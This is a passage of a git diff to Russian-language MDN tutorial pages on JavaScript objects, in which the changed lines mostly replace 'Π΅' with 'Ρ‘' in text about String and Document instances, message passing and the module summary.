-<p>Пока Π’Ρ‹ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΠ»ΠΈ эти ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π’Ρ‹ вСроятно Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ точСчная запись, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π’Ρ‹ использовали, выглядит ΠΎΡ‡Π΅Π½ΡŒ Π·Π½Π°ΠΊΠΎΠΌΠΎ. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π’Ρ‹ использовали Π΅Π΅ Π½Π° протяТСнии всСго курса! ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ встроСнный API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΌΡ‹ использовали ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ построСны с использованиСм Ρ‚Π΅Ρ… ΠΆΠ΅ структур ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ здСсь рассматривали, хотя ΠΈ Π±ΠΎΠ»Π΅Π΅ слоТныС, Ρ‡Π΅ΠΌ наши собствСнныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.Β </p>
+<p>Пока Π’Ρ‹ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΠ»ΠΈ эти ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π’Ρ‹ вСроятно Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ точСчная запись, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π’Ρ‹ использовали, выглядит ΠΎΡ‡Π΅Π½ΡŒ Π·Π½Π°ΠΊΠΎΠΌΠΎ. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π’Ρ‹ использовали Π΅Ρ‘ Π½Π° протяТСнии всСго курса! ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ встроСнный API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΌΡ‹ использовали ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ построСны с использованиСм Ρ‚Π΅Ρ… ΠΆΠ΅ структур ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ здСсь рассматривали, хотя ΠΈ Π±ΠΎΠ»Π΅Π΅ слоТныС, Ρ‡Π΅ΠΌ наши собствСнныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.Β </p>
<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, ΠΊΠΎΠ³Π΄Π° Π’Ρ‹ использовали строковыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ:</p>
<pre class="brush: js notranslate">myString.split(',');</pre>
-<p>Π’Ρ‹ использовали ΠΌΠ΅Ρ‚ΠΎΠ΄ доступный Π² экзСмплярС класса <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· создавая строку Π² вашСм ΠΊΠΎΠ΄Π΅, эта строка автоматичСски создаСтся ΠΊΠ°ΠΊ экзСмпляр <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, ΠΈ поэтому ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²/свойств, доступных Π½Π° Π½Π΅ΠΌ.</p>
+<p>Π’Ρ‹ использовали ΠΌΠ΅Ρ‚ΠΎΠ΄ доступный Π² экзСмплярС класса <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· создавая строку Π² вашСм ΠΊΠΎΠ΄Π΅, эта строка автоматичСски создаётся ΠΊΠ°ΠΊ экзСмпляр <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, ΠΈ поэтому ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²/свойств, доступных Π½Π° Π½Π΅ΠΌ.</p>
<p>Когда Π’Ρ‹ ΠΎΠ±Ρ€Π°Ρ‰Π°Π»ΠΈΡΡŒ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (DOM), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки:</p>
<pre class="brush: js notranslate">const myDiv = document.createElement('div');
const myVideo = document.querySelector('video');</pre>
-<p>Π’Ρ‹ использовали ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ доступныС Π² экзСмплярС класса <code><a href="/en-US/docs/Web/API/Document">Document</a></code>. Для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ Π²Π΅Π±-страницы создаСтся экзСмпляр <code><a href="/en-US/docs/Web/API/Document">Document</a></code>, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉΒ <code>document</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт всю структуру страницы, Π΅Π΅ содСрТимоС ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ URL-адрСс. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²/свойств, доступных Π½Π° Π½Π΅ΠΌ.</p>
+<p>Π’Ρ‹ использовали ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ доступныС Π² экзСмплярС класса <code><a href="/en-US/docs/Web/API/Document">Document</a></code>. Для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ Π²Π΅Π±-страницы создаётся экзСмпляр <code><a href="/en-US/docs/Web/API/Document">Document</a></code>, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉΒ <code>document</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт всю структуру страницы, Π΅Ρ‘ содСрТимоС ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ URL-адрСс. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²/свойств, доступных Π½Π° Π½Π΅ΠΌ.</p>
<p>Π’ΠΎ ΠΆΠ΅ самоС относится ΠΈ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ встроСнному ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ/API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π»ΠΈΒ β€”Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code>, ΠΈ Ρ‚. Π΄.</p>
@@ -234,14 +234,14 @@ const myVideo = document.querySelector('video');</pre>
<p>ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, ΠΌΡ‹ рассмотрим конструкторы Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ПолСзно ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ посрСдством пСрСдачи сообщСний - ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ трСбуСтся Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для выполнСния ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ дСйствия, ΠΎΠ½ часто отправляСт сообщСниС Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ ΠΆΠ΄Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ ΠΊΠ°ΠΊ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ (return)Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ПолСзно ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ посрСдством пСрСдачи сообщСний - ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ трСбуСтся Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для выполнСния ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ дСйствия, ΠΎΠ½ часто отправляСт сообщСниС Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ ΠΆΠ΄Ρ‘Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ ΠΊΠ°ΠΊ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ (return)Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
</div>
<h2 id="РСзюмС">РСзюмС</h2>
-<p>ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π’Ρ‹ достигли ΠΊΠΎΠ½Ρ†Π° нашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… JS,Β Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ вас Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ Π² JavaScript - Π² Ρ‚ΠΎΠΌ числС ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС простыС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹.Β Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π² качСствС структур для хранСния связанных Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - Ссли Π±Ρ‹ ΠΌΡ‹Β ΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ всС свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² нашСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>person</code> ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, это Π±Ρ‹Π»ΠΎ нСэффСктивно, ΠΈ ΠΌΡ‹ Π±Ρ‹ рисковали ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ функциями с Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ.Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ бСзопасно Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² своСм собствСнном Π±Π»ΠΎΠΊΠ΅, Π²Π½Π΅ опасности.</p>
+<p>ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π’Ρ‹ достигли ΠΊΠΎΠ½Ρ†Π° нашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… JS,Β Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ вас Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ Π² JavaScript - Π² Ρ‚ΠΎΠΌ числС ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС простыС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹.Β Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π² качСствС структур для хранСния связанных Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - Ссли Π±Ρ‹ ΠΌΡ‹Β ΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ всС свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² нашСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>person</code> ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, это Π±Ρ‹Π»ΠΎ нСэффСктивно, ΠΈ ΠΌΡ‹ Π±Ρ‹ рисковали ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ функциями с Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ.Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ бСзопасно Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² своём собствСнном Π±Π»ΠΎΠΊΠ΅, Π²Π½Π΅ опасности.</p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ программирования (ООП) ΠΈ ΠΊΠ°ΠΊ эти Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² JavaScriptΒ </p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ программирования (ООП) ΠΈ ΠΊΠ°ΠΊ эти Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² JavaScriptΒ </p>
<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p>
diff --git a/files/ru/learn/javascript/objects/index.html b/files/ru/learn/javascript/objects/index.html
index d01087d4c7..95c04eb7ea 100644
--- a/files/ru/learn/javascript/objects/index.html
+++ b/files/ru/learn/javascript/objects/index.html
@@ -11,7 +11,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹
---
<div>{{LearnSidebar}}</div>
-<p class="summary">Π’ JavaScript Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ сущностСй ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, начиная с самого основного Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° JavaScript, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ строки (strings) ΠΈ массивы (array),Β ΠΈ заканчивая встроСнными Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ API. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°ΠΆΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½ΠΊΠ°ΠΏΡΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ связанныС ΠΌΠ΅ΠΆΠ΄Ρƒ собой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π² эффСктивныС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹Β ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΡƒΠ΄ΠΎΠ±Π½Ρ‹Π΅Β Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°Β Π΄Π°Π½Π½Ρ‹Ρ…. ПониманиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉΒ ΠΏΡ€ΠΈΡ€ΠΎΠ΄Ρ‹Β JavaScript ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ, Ссли Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ дальнСйшСС Π±ΠΎΠ»Π΅Π΅ ΡƒΠ³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ языка. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΌΡ‹ прСдоставляСм Π’Π°ΠΌ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π’Π°ΠΌ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ Π² этом. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΒ ΠΎΠ±ΡƒΡ‡ΠΈΠΌ Вас тСории ΠΈ синтаксису ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π° Π·Π°Ρ‚Π΅ΠΌ рассмотрим, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹.Β </p>
+<p class="summary">Π’ JavaScript Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ сущностСй ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, начиная с самого основного Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° JavaScript, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ строки (strings) ΠΈ массивы (array),Β ΠΈ заканчивая встроСнными Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ API. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°ΠΆΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½ΠΊΠ°ΠΏΡΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ связанныС ΠΌΠ΅ΠΆΠ΄Ρƒ собой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π² эффСктивныС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹Β ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΡƒΠ΄ΠΎΠ±Π½Ρ‹Π΅Β Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°Β Π΄Π°Π½Π½Ρ‹Ρ…. ПониманиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉΒ ΠΏΡ€ΠΈΡ€ΠΎΠ΄Ρ‹Β JavaScript ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ, Ссли Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ дальнСйшСС Π±ΠΎΠ»Π΅Π΅ ΡƒΠ³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ языка. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΌΡ‹ прСдоставляСм Π’Π°ΠΌ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ 